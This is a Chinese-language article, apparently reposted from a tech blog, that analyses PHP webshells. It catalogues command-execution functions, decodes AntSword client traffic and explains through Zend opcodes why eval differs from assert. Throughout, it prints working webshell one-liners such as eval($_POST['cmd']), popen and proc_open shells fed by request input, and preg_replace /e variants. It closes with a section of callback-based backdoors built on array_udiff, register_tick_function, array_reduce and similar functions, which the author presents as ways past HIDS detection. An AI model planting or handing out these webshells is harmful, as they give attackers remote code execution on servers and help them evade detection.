本篇文章给大家分享的是有关分析webshell以及eval与assert区别是什么,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
webshell分类
一句话木马
可以在目标服务器上执行PHP代码,并和客户端(如菜刀,Cknife、冰蝎、蚁剑)进行交互的webshell,俗称小马。
多功能木马
根据PHP语法,编写较多代码,并在服务器上执行,完成所有功能的Webshell,俗称大马
逻辑木马
利用系统逻辑漏洞(如php uaf漏洞),绕过访问控制或执行特殊功能的WebShell
PHP 可执行系统命令的函数
system
string system ( string $command [, int &$return_var ] ); # $command为执行的命令,&return_var可选,用来存放命令执行后的状态码 # system 函数执行有回显,可将结果显示在页面上 <?php system("whoami"); ?>
passthru
void passthru ( string $command [, int &$return_var ] ); # 和system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码 # passthru 执行有回显,可将执行结果显示在页面上 <?php passthru("whoami"); ?>
exec
string exec ( string $command [, array &$output [, int &$return_var ]] ); # $command是要执行的命令 # $output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败) # exec()函数执行无回显,默认返回最后一行结果 <?php echo exec("whoami"); ?> <?php $test = "ipconfig"; exec($test,$array); print_r($array); ?>
shell_exec
string shell_exec( string &command); # $command是要执行的命令 # shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面 <?php echo shell_exec("whoami"); ?> # `(反引号) shell_exec() 函数实际上仅是反引号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行 # 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回 <?php echo `whoami`; ?>
popen
resource popen ( string $command , string $mode ); # 函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets(),fgetss()和 fwrite() <?php $command = $_POST[cmd]; $fp = popen($command,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); echo $out; } pclose($fp); ?>
proc_open
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ); # 与Popen函数类似,但是可以提供双向管道 <?php $command = $_POST[cmd]; $array = array( array("pipe","r"), //标准输入 array("pipe","w"), //标准输出内容 array("pipe","w") //标准输出错误 ); $fp = proc_open($command,$array,$pipes); //打开一个进程通道 echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 proc_close($fp); ?>
pcntl_exec
void pcntl_exec ( string $path [, array $args [, array $envs ]] ) # path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 # args是一个要传递给程序的参数的字符串数组。 # pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。 # pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
蚁剑连接webshell分析
上述函数都是可以作为一个简单的webshell执行一些系统的命令,那么与客户端(菜刀,CKnife,蚁剑,冰蝎)完成交互的webshell是什么样的呢?
准备一个一句话木马
<?php @eval($_POST['cmd']);?>
在蚁剑添加手动代理,用Burp抓包分析,如下图所示:
将cmd参数解码可以看到
// 临时关闭PHP的错误显示功能 @ini_set("display_errors", "0"); // 设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。 @set_time_limit(0); // asenc方法,接收参数,返回参数 function asenc($out){ return $out; }; function asoutput(){ // 从缓冲区取出数据 $output=ob_get_contents(); // 清空缓冲区,并将缓冲区关闭 ob_end_clean(); echo "b48a94c80a"; // 输出数据 echo @asenc($output); echo "606e3eed3"; } // 打开缓冲区,来保存所有的输出 ob_start(); try{ // $_SERVER["SCRIPT_FILENAME"]是获取当前执行脚本的绝对路径,dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录 $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") // $_SERVER["PATH_TRANSLATED"]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果 $D=dirname($_SERVER["PATH_TRANSLATED"]); // 拼接字符串和一个制表位 $R="{$D} "; // 判断是否为Linux的文件目录 if(substr($D,0,1)!="/"){ // 遍历盘符 foreach(range("C","Z")as $L) // 如果存在盘符 if(is_dir("{$L}:")) // 拼接字符串 $R.="{$L}:"; }else{ // 否则拼接/ $R.="/"; } // 拼接制表位 $R.=" "; // 判断posix_getegid方法是否存在,存在调用该方法按用户id返回用户相关信息 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; // 如果用户信息不为空,则返回name属性,否则调用get_current_user()方法 $s=($u)?$u["name"]:@get_current_user(); // 返回运行 PHP 的系统的有关信息 并拼接 $R.=php_uname(); $R.=" {$s}"; echo $R; ;} catch(Exception $e){ // 捕获异常 echo "ERROR://".$e->getMessage(); }; // 运行程序 asoutput(); die();
将此代码放置在eval函数中执行,返回结果如下图所示:
这说明了eval函数将字符串按照php code解析并执行了,所以客户端只要构造好相应的php code,发送给服务器上的webshell,则可以执行并返回。
当我们再使用列目录的时候截断,可以看到如下图所示,蚁剑客户端还是将封装好的代码发送给了服务端的webshell
@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "7322e6777"; echo @asenc($output); echo "7529076fb4d2"; } ob_start(); try{ $D=base64_decode($_POST["od0d1a967133cb"]); $F=@opendir($D); if($F==NULL){ echo("ERROR:// Path Not Found Or No Permission!"); }else{ $M=NULL; $L=NULL; while($N=@readdir($F)){ $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P)) $M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); }; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==
其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,这个od0d1a967133cb key的value值是base64解码之后就是我的web服务的根目录,可以看见,其实用于eval函数执行的代码都是大体相同的,只是更改了try-catch代码块中的逻辑,对于传统的webshell管理工具,连接webshell并且执行相关命令需要使用类似eval,assert等函数将字符串当作php代码执行的性质,当连接成功之后,就可以利用当前web容器可解析的语言执行代码,并完成相关的操作。
这里总结一下,脚本要将字符串(或文件流)当做PHP代码来执行,主要会使用到以下函数:
eval
:PHP 4,PHP 5,PHP 7+ 均可用,接收一个参数,将字符串作为PHP代码执行
<?php eval("echo system('whoami');"); ?> //一句话 <?php @eval($_POST['cmd']); ?>
assert
: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一个参数,PHP5.4.8版本后可以接受两个参数
<?php assert("system('whoami')"); ?> // 一句话 <?php assert($_POST['cmd']); ?> <?php assert($_GET['cmd']); ?>
正则匹配类:prge_replace
,mb_erge_replace
,prge_filter
等
// php5.5.0 以下 /e参数还能执行 <?php preg_replace("/test/e","system('whoami')","jutst test"); ?> // 一句话 <?php preg_replace("/test/e",@eval($_POST['cmd']),"jutst test"); ?> <?php preg_replace("/test/e",$_POST['cmd'],"jutst test"); ?> // php5.5.0+ /e 参数不能使用,推荐使用preg_replace_callback <?php function result(){ return system("whoami"); } preg_replace_callback("//","result",""); ?> // 一句话马 <?php function result(){ return @eval($_POST['h']); } preg_replace_callback("//","result",""); ?>
文件包含类:include
,include_once
,require
,require_once
,file_get_contents
等
eval与assert函数的区别
话说做webshell检测的时候,因为要绕过HIDS,常规的一句话木马,大马都基本上会被拦截,不得不去找了一些php提供的”安全函数“(ps,这里我所指的“安全函数”是php的内置的回调函数,因为本身这些方法都是php自提供的,所以还是一定程度上可以绕过的)。开始使用的时候发现eval不能作为回调函数的后门?而是要用assert函数来代替eval?
意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者1=system&2=whoami来执行命令
好奇心害死猫
查看官方文档,他告知我如下:
eval是一个语言构造器,而不是一个函数,不能被可变函数调用;
然后我又去查询什么是可变函数,官方的定义如下:
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途,可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
到这里其实官方已经说得很清楚了,但是我还是想一探究竟,深入浅出
安装vld扩展(这里提示,安装扩展在linux下,且php是自编译的,安装扩展是最简单的)
使用vld扩展,可以清楚的看到php5
,php7
assert
函数,eval
函数在opcode
中执行过程
关于php解释型语言以及opcode的一些解释
php是解释型语言,所谓“解释型语言”就是指用这种语言写的程序不会被直接编译为本地机器语言(native machine language),而是会被编译为一种中间形式(代码),很显然这种中间形式不可能直接在CPU上执行(因为CPU只能执行本地机器指令),但是这种中间形式可以在使用本地机器指令(如今大多是使用C语言)编写的软件上执行。
PHP使用主要虚拟机(Zend虚拟机,译注:HHVM也是一种执行PHP代码的虚拟机,但很显然Zend虚拟机还是目前的主流)可以分为两大部分,它们是紧密相连的:
编译栈(compile stack):识别PHP语言指令,把它们转换为中间形式
执行栈(execution stack):获取中间形式的代码指令并在引擎上执行,引擎是用C或者汇编编写成的
OPCode
Zend VM的一个OPCode对应虚拟机的一个底层操作。Zend虚拟机有很多OPCode:它们可以做很多事情。随着PHP的发展,也引入了越来越多的OPCode,这都是源于PHP可以做越来越多的事情。可以在PHP的源代码文件Zend/zend_vm_opcodes.h中看到所有的OPCode。
Zend VM的每个OPCode的工作方式都完全相同:它们都有一个handler(译注:在Zend VM中,handler是一个函数指针,它指向OPCode对应的处理函数的地址,这个处理函数就是用于实现OPCode具体操作的),这是一个C函数,这个函数就包含了执行这个OPCode时会运行的代码(例如“add”,它就会执行一个基本的加法运算)。每个handler都可以使用0、1或者2个操作数:op1和op2,这个函数运行后,它会后返回一个结果,有时也会返回一段信息(extended_value)
php5
如下图所示,可以看到eval
是INCLUDE_OR_EVAL
去处理,而assert
是用DO_FCALL
去处理
在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看见DO_FCALL这个OPCode的具体操作
DO_FCALL
在这里说一下第一个判断条件,因为确实不懂,在网上找了与一下相关的解释
//如果EG(active_op_array)->run_time_cache[]数组中存在这个值,就取出来,毕竟C原生态数组取数据速度要远远超过zend_hash_quick_find(毕竟他要计算hash值,还要遍历,不能达到真正的O(1) if (CACHED_PTR(opline->op1.literal->cache_slot)) { ce = CACHED_PTR(opline->op1.literal->cache_slot); }
然后如果C原生态数组里没有这个函数,就会进入else if中,进行一个哈希查找,并把函数指针放入 EX(function_state).function,最后再调用该函数
INCLUDE_OR_EVAL
到这里就可以看到为什么eval参数中必须是php代码,而不是命令,当在eval中的参数为命令的时候,就会出现eval() 'd code
的错误,当参数为php代码的时候,就会直接编译执行参数。
从OPCode中可以看到,eval就是Zend函数,assert是宏编写的,最后在调用上是不同的,如下图所示,eval就不是宏定义的
php7
在php7+中,assert断言也已经成为语言解释器,再也不是函数了,所以在php7中使用assert作为回调后门不能成功的原因就在于此
回调后门函数
给大家留点彩蛋吧哈哈哈,我实在太菜了
register_shutdown_function
// (PHP 4, PHP 5, PHP 7) // register_shutdown_function — 注册一个会在php中止时执行的函数 // register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void // php7+ 存在立即执行函数(function($a){@eval($a)})($_POST['cmd']) <?php function test($a){ @eval("$a"); } register_shutdown_function(test,$_POST['cmd']); ?>
array_udiff_assoc
// (PHP 5, PHP 7) // array_udiff_assoc — 带索引检查计算数组的差集,用回调函数比较数据 // array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php function test($a){ @eval($a); } array_udiff_assoc(array($_REQUEST['h']),array(1),"test"); ?>
array_intersect_uassoc
// (PHP 5, PHP 7) // array_intersect_uassoc — 带索引检查计算数组的交集,用回调函数比较索引 // array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert"); ?> <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system"); ?>
forward_static_call_array
// forward_static_call_array — 调用静态方法并将参数作为数组传递 // forward_static_call_array ( callable $function , array $parameters ) : mixed <?php forward_static_call_array("assert",array($_REQUEST['h'])); ?> <?php forward_static_call_array("system",array($_REQUEST['h'])); ?>
array_intersect_ukey
// (PHP 5 >= 5.1.0, PHP 7) // array_intersect_ukey — 用回调函数比较键名来计算数组的交集 <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert"); ?> <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system"); ?>
register_tick_function
// register_tick_function — 注册一个函数,以便在每次被标记时执行 // register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool <?php declare(ticks=1); register_tick_function("assert", $_REQUEST['h']); ?> <?php declare(ticks=1); register_tick_function("system", $_REQUEST['h']); ?>
array_reduce
// (PHP 4 >= 4.0.5, PHP 5, PHP 7) // array_reduce — 用回调函数迭代地将数组简化为单一的值 // array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed <?php $arr = array(1); array_reduce($arr, "assert", $_REQUEST['h']); ?> <?php $arr = array(1); array_reduce($arr, "system", $_REQUEST['h']); ?>
array_udiff
// (PHP 5, PHP 7) // array_udiff — 用回调函数比较数据来计算数组的差集 // array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "assert"); ?> <?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "system"); ?>
以上就是分析webshell以及eval与assert区别是什么,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/228547.html